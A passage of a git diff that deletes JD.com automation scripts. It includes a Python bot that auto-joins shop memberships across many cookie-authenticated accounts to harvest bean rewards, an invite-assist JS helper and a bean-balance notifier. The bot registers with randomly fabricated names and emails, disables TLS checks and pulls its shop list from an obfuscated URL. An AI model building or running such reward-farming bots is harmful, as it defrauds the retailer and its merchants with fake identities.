time.sleep(getWait) - else: - print(pError) - time.sleep(300) - exit(666) - - except: - message("请检查您的环境/版本是否正常!") - time.sleep(10) - exit(666) - -def getUserInfo(ck, pinName, userNum): - url = 'https://me-api.jd.com/user_new/info/GetJDUserInfoUnion?orgFlag=JD_PinGou_New&callSource=mainorder&channel=4&isHomewhite=0&sceneval=2&sceneval=2&callback=GetJDUserInfoUnion' - headers = { - 'Cookie': ck, - 'Accept': '*/*', - 'Connection': 'close', - 'Referer': 'https://home.m.jd.com/myJd/home.action', - 'Accept-Encoding': 'gzip, deflate, br', - 'Host': 'me-api.jd.com', - 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1', - 'Accept-Language': 'zh-cn' - } - try: - resp = requests.get(url=url, verify=False, headers=headers, timeout=60).text - r = re.compile(r'GetJDUserInfoUnion.*?\((.*?)\)') - result = r.findall(resp) - userInfo = json.loads(result[0]) - nickname = userInfo['data']['userInfo']['baseInfo']['nickname'] - return ck, nickname - except Exception: - context = f"账号{userNum}【{pinName}】Cookie 已失效!请重新获取。" - message(context) - send("【JD入会领豆】Cookie 已失效!", context) - return ck, False - -# 设置Headers -def setHeaders(cookie, intype): - if intype == 'mall': - headers = { - - "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", - "Host": "mall.jd.com", - "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Safari/605.1.15", - "Accept-Language": "zh-cn", - "Accept-Encoding": "gzip, deflate, br", - "Connection": "close" - } - return headers - elif intype == 'JDApp': - headers = { - 'Cookie': cookie, - 'Accept': "*/*", - 'Connection': "close", - 'Referer': "https://shopmember.m.jd.com/shopcard/?", - 'Accept-Encoding': "gzip, deflate, br", - 'Host': "api.m.jd.com", - 'User-Agent': "jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", - 'Accept-Language': "zh-cn" - } - return headers - elif intype == 'mh5': - headers = { - 'Cookie': cookie, - 'Accept': "*/*", - 'Connection': "close", - 'Referer': "https://shopmember.m.jd.com/shopcard/?", - 'Accept-Encoding': "gzip, deflate, br", - 'Host': "api.m.jd.com", - 'User-Agent': "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Mobile/15E148 Safari/604.1", - 'Accept-Language': "zh-cn" - - } - return headers - -# 记录符合件的shopid到本地文件保存 当前目录:OpenCardlog/shopid-yyyy-mm-dd.txt 或 log-yyyy-mm-dd.txt -def outfile(filename, context, iscover): - """ - :param filename: 文件名 默认txt格式 - :param context: 写入内容 - :param iscover: 是否覆盖 False or True - :return: - """ - if record == True: - try: - if iscover == False: - with open(pwd + "log/{0}".format(filename), "a+", encoding="utf-8") as f1: - f1.write("{}\n".format(context)) - f1.close() - elif iscover == True: - with open(pwd + "{0}".format(filename), "w+", encoding="utf-8") as f1: - f1.write("{}".format(context)) - f1.close() - except Exception as e: - print(e) - -# 记忆功能 默认双线程 -def memoryFun(startNum, threadNum, usernameLabel, username, getallbean, userCount): - global memoryJson - if memory == True: - if usernameLabel == True: - memoryJson['allShopidNum'] = endShopidNum - memoryJson['currUser{}'.format(threadNum)] = username - memoryJson['t{}_startNum'.format(threadNum)] = startNum - memoryJson['allUserCount'] = userCount - if usernameLabel == False: - try: - - memoryJson['{}'.format(username)] - memoryJson['{}'.format(username)] += getallbean - except: - memoryJson['{}'.format(username)] = getallbean - try: - memoryJson['{}_ok'.format(username)] - memoryJson['{}_ok'.format(username)] += 1 - except: - memoryJson['{}_ok'.format(username)] = 1 - - try: - if os.path.exists(pwd + "log"): - with open(pwd + "log/memory.json", "w+", encoding="utf-8") as f: - json.dump(memoryJson, f, indent=4) - else: - pass - except Exception as e: - print(e) - - -# 修复记忆功能一些问题,如记录累计京豆统计显示为0等 -def isMemoryEnable(): - global memoryJson - memoryJson = getMemory() - -# 获取记忆配置 -def getMemory(): - """ - :return: memoryJson - """ - if os.path.exists(pwd + "log/memory.json"): - with open(pwd + "log/memory.json", "r", encoding="utf-8") as f: - memoryJson = json.load(f) - if len(memoryJson) > 0: - return memoryJson - else: - pass - - -def rmCount(): - if os.path.exists(pwd + "log/入会汇总.txt"): - os.remove(pwd + "log/入会汇总.txt") - if os.path.exists(pwd + "log/memory.json"): - os.remove(pwd + "log/memory.json") - -# 判断是否启用记忆功能 -def isMemory(memorylabel, startNum1, startNum2, midNum, endNum, pinNameList): - """ - :param memorylabel: 记忆标签 - :param startNum1: 线程1默认开始位置 - :param startNum2: 线程2默认开始位置 - :param midNum: 线程1默认结束位置 - :param endNum: 线程2默认结束位置 - :return: startNum1, startNum2, memorylabel - """ - if memory == True and memorylabel == 0: - try: - memoryJson = getMemory() - if memoryJson['allShopidNum'] == endNum: - currUserLabel = 0 - - if memoryJson['allUserCount'] == allUserCount: - for u in pinNameList: - if memoryJson['currUser1'] == u: - currUserLabel += 1 - elif memoryJson['currUser2'] == u: - currUserLabel += 1 - if memoryJson['currUser1'] == memoryJson['currUser2']: - currUserLabel = 2 - if currUserLabel < 2: - print("通知:检测到您配置的CK有变更,本次记忆功能不生效。") - rmCount() - return startNum1, startNum2, memorylabel - if memoryJson['t1_startNum'] + 1 == midNum and memoryJson['t2_startNum'] + 1 == endNum: - print( - f"\n上次已完成所有shopid,\n\nPs:您可以关注公众号或TG频道获取最新shopid。\n公众号: TopStyle\n电报TG:https://t.me/TopStyle2021\n\n请输入 0 或 1\n0 : 退出。\n1 : 重新跑一次,以防有漏") - try: - getyourNum = int(input("正在等待您的选择:")) - if getyourNum == 1: - print("Ok,那就重新跑一次~") - rmCount() - memorylabel = 1 - return startNum1, startNum2, memorylabel - elif getyourNum == 0: - print("Ok,已退出~") - time.sleep(10) - exit(0) - except: - # print("Error: 您的输入有误!已退出。") - exitCodeFun(3) - else: - isMemoryEnable() - if memoryJson['t1_startNum']: - startNum1 = memoryJson['t1_startNum'] - message(f"已启用记忆功能 memory= True,线程1从第【{startNum1}】店铺开始") - if memoryJson['t2_startNum']: - startNum2 = memoryJson['t2_startNum'] - message(f"已启用记忆功能 memory= True,线程2从第【{startNum2}】店铺开始") - memorylabel = 1 - return startNum1, startNum2, memorylabel - else: - message("通知:检测到您配置的CK有变更,本次记忆功能不生效。") - rmCount() - return startNum1, startNum2, memorylabel - else: - message("通知:检测到shopid有更新,本次记忆功能不生效。") - rmCount() - memorylabel = 1 - return startNum1, startNum2, memorylabel - except Exception as e: - memorylabel = 1 - return startNum1, startNum2, memorylabel - else: - rmCount() - memorylabel = 1 - return startNum1, startNum2, memorylabel - -# 获取VenderId -def getVenderId(shopId, headers): - """ - :param shopId: - :param headers - :return: venderId - """ - url = 'https://mall.jd.com/index-{0}.html'.format(shopId) - resp = requests.get(url=url, verify=False, headers=headers, timeout=60) - resulttext = resp.text - r = re.compile(r'shopId=\d+&id=(\d+)"') - venderId = r.findall(resulttext) - return venderId[0] - -# 查询礼包 -def getShopOpenCardInfo(venderId, headers, shopid, userName, user_num): - """ - :param venderId: - :param headers: - :return: activityId,getBean 或 返回 0:没豆 1:有豆已是会员 2:记录模式(不入会) - """ - num1 = string.digits - v_num1 = ''.join(random.sample(["1", "2", "3", "4", "5", "6", "7", "8", "9"], 1)) + ''.join( - random.sample(num1, 4)) # 随机生成一窜4位数字 - url = 'https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=%7B%22venderId%22%3A%22{2}%22%2C%22channel%22%3A406%7D&client=H5&clientVersion=9.2.0&uuid=&jsonp=jsonp_{0}_{1}'.format( - timestamp, v_num1, venderId) - resp = requests.get(url=url, verify=False, headers=headers, timeout=60) - time.sleep(sleepNum) - resulttxt = resp.text - r = re.compile(r'jsonp_.*?\((.*?)\)\;', re.M | re.S | re.I) - result = r.findall(resulttxt) - cardInfo = json.loads(result[0]) - venderCardName = cardInfo['result']['shopMemberCardInfo']['venderCardName'] # 店铺名称 - if user_num == 1: - printinfo(f"\t└查询入会礼包【{venderCardName}】", printlog) - openCardStatus = cardInfo['result']['userInfo']['openCardStatus'] # 是否会员 - interestsRuleList = cardInfo['result']['interestsRuleList'] - if interestsRuleList == None: - if user_num == 1: - printinfo("\t\t└查询该店入会没有送豆,不入会", printlog) - return 0, 0 - try: - if len(interestsRuleList) > 0: - for i in interestsRuleList: - if "京豆" in i['prizeName']: - getBean = int(i['discountString']) - activityId = i['interestsInfo']['activityId'] - context = "{0}".format(shopid) - outfile(f"shopid-{today}.txt", context, False) # 记录所有送豆的shopid - in_url = 'https://shop.m.jd.com/?shopId={}'.format(shopid) - url = 'https://shopmember.m.jd.com/member/memberCloseAccount?venderId={}'.format(venderId) - context = "[{0}]:入会{2}豆店铺【{1}】\n\t加入会员:{4}\n\t解绑会员:{3}".format(nowtime(), venderCardName, getBean, - url, in_url) # 记录 - if user_num == 1: - outfile("入会汇总.txt", context, False) - if getBean >= openCardBean: # 判断豆是否符合您的需求 - print(f"\t└账号{user_num}【{userName}】{venderCardName}:入会赠送【{getBean}豆】,可入会") - context = "{0}".format(shopid) - outfile(f"入会{openCardBean}豆以上的shopid-{today}.txt", context, False) - if onlyRecord == True: - if user_num == 1: - print("已开启仅记录,不入会。") - return 2, 2 - if openCardStatus == 1: - url = 'https://shopmember.m.jd.com/member/memberCloseAccount?venderId={}'.format(venderId) - print("\t\t└[账号:{0}]:您已经是本店会员,请注销会员卡24小时后再来~\n注销链接:{1}".format(userName, url)) - context = "[{3}]:入会{1}豆,{0}销卡:{2}".format(venderCardName, getBean, url, nowtime()) - outfile("可退会账号【{0}】.txt".format(userName), context, False) - return 1, 1 - return activityId, getBean - else: - if user_num == 1: - print(f'\t\t└{venderCardName}:入会送【{getBean}】豆少于【{openCardBean}豆】,不入...') - if onlyRecord == True: - if user_num == 1: - print("已开启仅记录,不入会。") - return 2, 2 - return 0, openCardStatus - - else: - pass - if user_num == 1: - printinfo("\t\t└查询该店入会没有送豆,不入会", printlog) - return 0, 0 - else: - return 0, 0 - except Exception as e: - print(e) - -# 开卡 -def bindWithVender(venderId, shopId, activityId, channel, headers): - """ - :param venderId: - :param shopId: - :param activityId: - :param channel: - :param headers: - :return: result : 开卡结果 - """ - num = string.ascii_letters + string.digits - v_name = ''.join(random.sample(num, 10)) - num1 = string.digits - v_num1 = ''.join(random.sample(["1", "2", "3", "4", "5", "6", "7", "8", "9"], 1)) + ''.join(random.sample(num1, 4)) - qq_num = ''.join(random.sample(["1", "2", "3", "4", "5", "6", "7", "8", "9"], 1)) + ''.join( - random.sample(num1, 8)) + "@qq.com" - url = 'https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body=%7B%22venderId%22%3A%22{4}%22%2C%22shopId%22%3A%22{7}%22%2C%22bindByVerifyCodeFlag%22%3A1%2C%22registerExtend%22%3A%7B%22v_sex%22%3A%22%E6%9C%AA%E7%9F%A5%22%2C%22v_name%22%3A%22{0}%22%2C%22v_birthday%22%3A%221990-03-18%22%2C%22v_email%22%3A%22{6}%22%7D%2C%22writeChildFlag%22%3A0%2C%22activityId%22%3A{5}%2C%22channel%22%3A{3}%7D&client=H5&clientVersion=9.2.0&uuid=&jsonp=jsonp_{1}_{2}'.format( - v_name, timestamp, v_num1, channel, venderId, activityId, qq_num, shopId) - try: - respon = requests.get(url=url, verify=False, headers=headers, timeout=60) - result = respon.text - return result - except Exception as e: - print(e) - -# 获取开卡结果 -def getResult(resulttxt, userName, user_num): - r = re.compile(r'jsonp_.*?\((.*?)\)\;', re.M | re.S | re.I) - result = r.findall(resulttxt) - for i in result: - result_data = json.loads(i) - busiCode = result_data['busiCode'] - if busiCode == '0': - message = result_data['message'] - try: - result = result_data['result']['giftInfo']['giftList'] - print(f"\t\t└账号{user_num}【{userName}】:{message}") - for i in result: - print("\t\t\t└{0}:{1} ".format(i['prizeTypeName'], i['discount'])) - except: - print(f'\t\t└账号{user_num}【{userName}】:{message}') - return busiCode - else: - print("\t\t└账号{0}【{1}】:{2}".format(user_num, userName, result_data['message'])) - return busiCode - - -def getRemoteShopid(): - global shopidList, venderidList - shopidList = [] - venderidList = [] - url = base64.decodebytes( - b"aHR0cHM6Ly9naXRlZS5jb20vY3VydGlubHYvUHVibGljL3Jhdy9tYXN0ZXIvT3BlbkNhcmQvc2hvcGlkLnR4dA==") - try: - rShopid = gettext(url) - rShopid = rShopid.split("\n") - for i in rShopid: - if len(i) > 0: - shopidList.append(i.split(':')[0]) - venderidList.append(i.split(':')[1]) - return shopidList, venderidList - except: - print("无法从远程获取shopid") - exitCodeFun(999) - - -# 读取shopid.txt -def getShopID(): - shopid_path = pwd + "shopid.txt" - try: - with open(shopid_path, "r", encoding="utf-8") as f: - shopid = f.read() - if len(shopid) > 0: - shopid = shopid.split("\n") - return shopid - else: - print("Error:请检查shopid.txt文件是否正常!\n") - exitCodeFun(2) - except Exception as e: - print("Error:请检查shopid.txt文件是否正常!\n", e) - exitCodeFun(2) - -# 进度条 -def progress_bar(start, end, threadNum): - print("\r", end="") - if threadNum == 2: - start2 = start - midNum - end2 = end - midNum - print("\n###[{1}]:线程{2}【当前进度: {0}%】\n".format(round(start2 / end2 * 100, 2), nowtime(), threadNum)) - elif threadNum == 1: - print("\n###[{1}]:线程{2}【当前进度: {0}%】\n".format(round(start / end * 100, 2), nowtime(), threadNum)) - sys.stdout.flush() - -## 多账号并发 -def sss(ii, ck, userName, pinName, endNum, user_num, shopids, threadNum): - if ii % 10 == 0 and ii != 0 and user_num == 1: - progress_bar(ii, endNum, threadNum) - try: - if len(shopids[ii]) > 0: - headers_b = setHeaders(ck, "mall") # 获取请求头 - if isRemoteSid: - venderId = venderidList[shopidList.index(shopids[ii])] - else: - venderId = getVenderId(shopids[ii], headers_b) # 获取venderId - time.sleep(sleepNum) # 根据您需求是否限制请求速度 - # 新增记忆功能 - memoryFun(ii, threadNum, True, pinName, 0, allUserCount) - headers_a = setHeaders(ck, "mh5") - activityId, getBean = getShopOpenCardInfo(venderId, headers_a, shopids[ii], userName, user_num) # 获取入会礼包结果 - # activityId,getBean 或 返回 0:没豆 1:有豆已是会员 2:记录模式(不入会) - time.sleep(sleepNum) # 根据账号需求是否限制请求速度 - if activityId == 0 or activityId == 2: - pass - elif activityId > 10: - headers = setHeaders(ck, "JDApp") - result = bindWithVender(venderId, shopids[ii], activityId, 208, headers) - busiCode = getResult(result, userName, user_num) - if busiCode == '0': - memoryFun(ii, threadNum, False, pinName, getBean, allUserCount) - memoryJson = getMemory() - print(f"账号{user_num}:【{userName}】累计获得:{memoryJson['{}'.format(pinName)]} 京豆") - time.sleep(sleepNum) - - else: - pass - except Exception as e: - if user_num == 1: - print(f"【Error】:多账号并发报错,请求过快建议适当调整 sleepNum 参数限制速度 \n{e}") - -# 为多线程准备 -def OpenVipCard(startNum: int, endNum: int, shopids, cookies, userNames, pinNameList, threadNum): - sssLabel = 0 - for i in range(startNum, endNum): - user_num = 1 - if Concurrent: - if sssLabel == 0 and threadNum == 1: - if DoubleThread: - message("当前模式: 双线程,多账号并发运行") - else: - message("当前模式: 单线程,多账号并发运行") - sssLabel = 1 - threads = [] - for ck, userName, pinName in zip(cookies, userNames, pinNameList): - tt = TaskThread(sss, args=(i, ck, userName, pinName, endNum, user_num, shopids, threadNum)) - threads.append(tt) - tt.start() - user_num += 1 - time.sleep(sleepNum) - for t in threads: - t.join() - time.sleep(sleepNum) - else: - if sssLabel == 0 and threadNum == 1: - if DoubleThread: - message("当前模式: 双线程,单账号运行") - else: - message("当前模式: 单线程,单账号运行") - sssLabel = 1 - activityIdLabel = 0 - for ck, userName, pinName in zip(cookies, userNames, pinNameList): - if i % 10 == 0 and i != 0: - progress_bar(i, endNum, threadNum) - try: - if len(shopids[i]) > 0: - headers_b = setHeaders(ck, "mall") # 获取请求头 - venderId = getVenderId(shopids[i], headers_b) # 获取venderId - time.sleep(sleepNum) # 根据账号需求是否限制请求速度 - # 新增记忆功能 - memoryFun(i, threadNum, True, pinName, 0, allUserCount) - if activityIdLabel == 0: - s = random.randint(0, allUserCount - 1) - headers_a = setHeaders(cookies[s], "mh5") - activityId, getBean = getShopOpenCardInfo(venderId, headers_a, shopids[i], userName, - user_num) # 获取入会礼包结果 - # activityId,getBean 或 返回 0:没豆 1:有豆已是会员 2:记录模式(不入会) - time.sleep(sleepNum) # 根据账号需求是否限制请求速度 - if activityId == 0 or activityId == 2: - break - elif activityId == 1: - user_num += 1 - continue - elif activityId > 10: - activityIdLabel = 1 - headers = setHeaders(ck, "JDApp") - result = bindWithVender(venderId, shopids[i], activityId, 208, headers) - busiCode = getResult(result, userName, user_num) - if busiCode == '0': - memoryFun(i, threadNum, False, pinName, getBean, allUserCount) - memoryJson = getMemory() - print(f"账号{user_num}:【{userName}】累计获得:{memoryJson['{}'.format(pinName)]} 京豆") - time.sleep(sleepNum) - else: - break - except Exception as e: - user_num += 1 - print(e) - continue - user_num += 1 -# start -def start(): - global allUserCount - print(scriptHeader) - outfile("Readme.md", readmes, True) - isUpdate() - global endShopidNum, midNum, allUserCount - if isRemoteSid: - message("已启用远程获取shopid") - allShopid, venderidList = getRemoteShopid() - else: - message("从本地shopid.txt获取shopid") - allShopid = getShopID() - allShopid = list(set(allShopid)) - endShopidNum = len(allShopid) - midNum = int(endShopidNum / 2) - message("获取到店铺数量: {}".format(endShopidNum)) - message(f"您已设置入会条件:{openCardBean} 京豆") - print("获取账号...") - cookies, userNames, pinNameList = iscookie() - allUserCount = len(cookies) - message("共{}个有效账号".format(allUserCount)) - memorylabel = 0 - startNum1 = 0 - startNum2 = midNum - starttime = time.perf_counter() # 记录时间开始 - if endShopidNum > 1 and DoubleThread: - # 如果启用记忆功能,则获取上一次记忆位置 - startNum1, startNum2, memorylabel = isMemory(memorylabel, startNum1, startNum2, midNum, endShopidNum, - pinNameList) - # 多线程部分 - threads = [] - t1 = Thread(target=OpenVipCard, args=(startNum1, midNum, allShopid, cookies, userNames, pinNameList, 1)) - threads.append(t1) - t2 = Thread(target=OpenVipCard, args=(startNum2, endShopidNum, allShopid, cookies, userNames, pinNameList, 2)) - threads.append(t2) - try: - for t in threads: - t.setDaemon(True) - t.start() - for t in threads: - t.join() - isSuccess = True - progress_bar(1, 1, 1) - progress_bar(1, 1, 2) - except: - isSuccess = False - elif endShopidNum == 1 or not DoubleThread: - startNum1, startNum2, memorylabel = isMemory(memorylabel, startNum1, startNum2, midNum, endShopidNum, - pinNameList) - OpenVipCard(startNum1, endShopidNum, allShopid, cookies, userNames, pinNameList, 1) - isSuccess = True - else: - message("获取到shopid数量为0") - exitCodeFun(9) - endtime = time.perf_counter() # 记录时间结束 - if os.path.exists(pwd + "log/memory.json"): - memoryJson = getMemory() - n = 1 - message("\n###【本次统计 {}】###\n".format(nowtime())) - all_get_bean = 0 - for name, pinname in zip(userNames, pinNameList): - try: - userCountBean = memoryJson['{}'.format(pinname)] - successJoin = memoryJson['{}_ok'.format(pinname)] - message(f"账号{n}:【{name}】\n\t└成功入会【{successJoin}】个,收获【{userCountBean}】京豆") - all_get_bean += userCountBean - except Exception as e: - message(f"账号{n}:【{name}】\n\t└成功入会【0】个,收获【0】京豆") - n += 1 - message(f"\n本次总累计获得:{all_get_bean} 京豆") - time.sleep(1) - message("\n------- 入会总耗时 : %.03f 秒 seconds -------" % (endtime - starttime)) - print("{0}\n{1}\n{2}".format("*" * 30, scriptHeader, remarks)) - send("【JD入会领豆】", message_info) - exitCodeFun(0) -if __name__ == '__main__': - start() - diff --git a/backUp/jd_aid_ftzy.js b/backUp/jd_aid_ftzy.js deleted file mode 100644 index 741ed39..0000000 --- a/backUp/jd_aid_ftzy.js +++ /dev/null @@ -1,41 +0,0 @@ -/** -cron=15 3,9 * * * jd_aid_ftzy.js -new Env('京东沸腾之夜助力'); - */ -let common = require("./function/common"); -let $ = new common.env('京东沸腾之夜助力'); -let min = 3, - help = $.config[$.filename(__filename)] || Math.min(min, $.config.JdMain) || min -$.setOptions({ - headers: { - 'content-type': 'application/json', - 'user-agent': 'jdapp;iPhone;9.4.6;14.2;965af808880443e4c1306a54afdd5d5ae771de46;network/wifi;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone8,4;addressid/;supportBestPay/0;appBuild/167618;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', - 'referer': 'https://happy.m.jd.com/babelDiy/Zeus/3ugedFa7yA6NhxLN5gw2L3PF9sQC/index.html', - } -}); -$.readme = ` -0 0 * * * task ${$.runfile} -exprot ${$.runfile}=2 # 如需修改被助力账号个数,请自行修改环境变量 -` -eval(common.eval.mainEval($)); -async function prepare() { - for (let i of cookies['help']) { - let s = await $.curl({ - 'url': `https://api.m.jd.com/client.action?advId=party1031_init`, - 'form': `functionId=party1031_init&body={}&client=wh5&clientVersion=1.0.0&appid=o2_act&uuid=cf7d66dca8a794007c133227f504a8e2aff131e7`, - cookie: i - },'s') - try { - $.sharecode.push($.compact($.s.data.result, ['inviteCode'])) - } catch (e) {} - } -} -async function main(p) { - let cookie = p.cookie - await $.curl({ - 'url': `https://api.m.jd.com/client.action?advId=party1031_assist`, - 'form': `functionId=party1031_assist&client=wh5&clientVersion=1.0.0&appid=o2_act&_stk=appid,body,client,clientVersion,functionId&_ste=1&h5st=&body={"inviteCode":"${p.inviteCode}"}&uuid=cf7d66dca8a794007c133227f504a8e2aff131e7`, - cookie - },'s') - console.log($.s.data); -} diff --git a/backUp/jd_all_bean_change.js b/backUp/jd_all_bean_change.js deleted file mode 100644 index 94f31ea..0000000 --- a/backUp/jd_all_bean_change.js +++ /dev/null @@ -1,416 +0,0 @@ -/* -京东月资产变动通知 -更新时间:2021-06-16 12:00 -脚本兼容: QuantumultX, Surge,Loon, JSBox, Node.js -=================================Quantumultx========================= -[task_local] -#京东月资产变动通知 -10 7 1-31/7 * * https://raw.githubusercontent.com/jiulan/platypus/main/scripts/jd_all_bean_change.js, tag=翻翻乐提现, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true -=================================Loon=================================== -[Script] -cron "10 7 1-31/7 * *" script-path=https://raw.githubusercontent.com/jiulan/platypus/main/scripts/jd_all_bean_change.js,tag=翻翻乐提现 -===================================Surge================================ -京东月资产变动通知 = type=cron,cronexp="10 7 1-31/7 * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/jiulan/platypus/main/scripts/jd_all_bean_change.js -====================================小火箭============================= -京东月资产变动通知 = type=cron,script-path=https://raw.githubusercontent.com/jiulan/platypus/main/scripts/jd_all_bean_change.js, cronexpr="10 7 1-31/7 * *", timeout=3600, enable=true - */ -const $ = new Env('京东月资产变动通知'); -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -let allMessage = ''; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.beanCount = 0; - $.incomeBean = 0; - $.expenseBean = 0; - $.allincomeBean = 0; - $.allexpenseBean = 0; - $.errorMsg = ''; - $.isLogin = true; - $.nickName = ''; - $.message = ''; - $.balance = 0; - $.expiredBalance = 0; - await TotalBean(); - console.log(`\n********开始【京东账号${$.index}】${$.nickName || $.UserName}******\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await bean(); - await showMsg(); - } - } - - if ($.isNode() && allMessage) { - await notify.sendNotify(`${$.name}`, `${allMessage}`, { url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` }) - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) -async function showMsg() { - if ($.errorMsg) return - allMessage += `账号${$.index}:${$.nickName || $.UserName}\n当月收入(截至昨日):${$.allincomeBean}京豆 🐶\n当月支出(截至昨日):${$.allexpenseBean}京豆 🐶\n昨日收入:${$.incomeBean}京豆 🐶\n昨日支出:${$.expenseBean}京豆 🐶\n当前京豆:${$.beanCount}(今日将过期${$.expirejingdou})京豆 🐶${$.message}${$.index !== cookiesArr.length ? '\n\n' : ''}`; - // if ($.isNode()) { - // await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `账号${$.index}:${$.nickName || $.UserName}\n昨日收入:${$.incomeBean}京豆 🐶\n昨日支出:${$.expenseBean}京豆 🐶\n当前京豆:${$.beanCount}京豆 🐶${$.message}`, { url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` }) - // } - $.msg($.name, '', `账号${$.index}:${$.nickName || $.UserName}\n当月收入(截至昨日):${$.allincomeBean}京豆 🐶\n当月支出(截至昨日):${$.allexpenseBean}京豆 🐶\n昨日收入:${$.incomeBean}京豆 🐶\n昨日支出:${$.expenseBean}京豆 🐶\n当前京豆:${$.beanCount}(今日将过期${$.expirejingdou})京豆🐶${$.message}`, {"open-url": "https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean"}); -} -async function bean() { - // console.log(`北京时间零点时间戳:${parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000}`); - // console.log(`北京时间2020-10-28 06:16:05::${new Date("2020/10/28 06:16:05+08:00").getTime()}`) - // 不管哪个时区。得到都是当前时刻北京时间的时间戳 new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000 - - //前一天的0:0:0时间戳 - const tm = parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000 - (24 * 60 * 60 * 1000); - // 今天0:0:0时间戳 - const tm1 = parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000; - let page = 1, t = 0, yesterdayArr = []; - do { - let response = await getJingBeanBalanceDetail(page); - // console.log(`第${page}页: ${JSON.stringify(response)}`); - if (response && response.code === "0") { - page++; - let detailList = response.detailList; - if (detailList && detailList.length > 0) { - for (let item of detailList) { - const date = item.date.replace(/-/g, '/') + "+08:00"; - if (tm <= new Date(date).getTime() && new Date(date).getTime() < tm1) { - //昨日的 - yesterdayArr.push(item); - } else if (tm > new Date(date).getTime()) { - //前天的 - t = 1; - break; - } - } - } else { - $.errorMsg = `数据异常`; - $.msg($.name, ``, `账号${$.index}:${$.nickName}\n${$.errorMsg}`); - t = 1; - } - } else if (response && response.code === "3") { - console.log(`cookie已过期,或者填写不规范,跳出`) - t = 1; - } else { - console.log(`未知情况:${JSON.stringify(response)}`); - console.log(`未知情况,跳出`) - t = 1; - } - } while (t === 0); - for (let item of yesterdayArr) { - if (Number(item.amount) > 0) { - $.incomeBean += Number(item.amount); - } else if (Number(item.amount) < 0) { - $.expenseBean += Number(item.amount); - } - } - - - - - let time = new Date();//当前月 要计算其他时间点自己传入即可 - let year = time.getFullYear(); - let month = parseInt( time.getMonth() + 1 ); - //开始时间 时间戳 - let start = new Date( year + "-" + month + "-01 00:00:00" ).getTime() - //结束时间 时间戳 - if( month == 12 ){ - //十二月的时候进位,这里直接用加减法算了 - //也可以用 time.setMonth( month + 1 )去计算并获取结束时间的月份和年份 - month = 0; - year += 1; - } - let end = new Date( year + "-" + ( month + 1 ) + "-01 00:00:00" ).getTime() - - let allpage = 1, allt = 0, allyesterdayArr = []; - do { - let response = await getJingBeanBalanceDetail(allpage); - // console.log(`第${allpage}页: ${JSON.stringify(response)}`); - if (response && response.code === "0") { - allpage++; - let detailList = response.detailList; - if (detailList && detailList.length > 0) { - for (let item of detailList) { - const date = item.date.replace(/-/g, '/') + "+08:00"; - if (start <= new Date(date).getTime() && new Date(date).getTime() < tm1) { - //昨日的 - allyesterdayArr.push(item); - } else if (start > new Date(date).getTime()) { - //前天的 - allt = 1; - break; - } - } - } else { - $.errorMsg = `数据异常`; - $.msg($.name, ``, `账号${$.index}:${$.nickName}\n${$.errorMsg}`); - allt = 1; - } - } else if (response && response.code === "3") 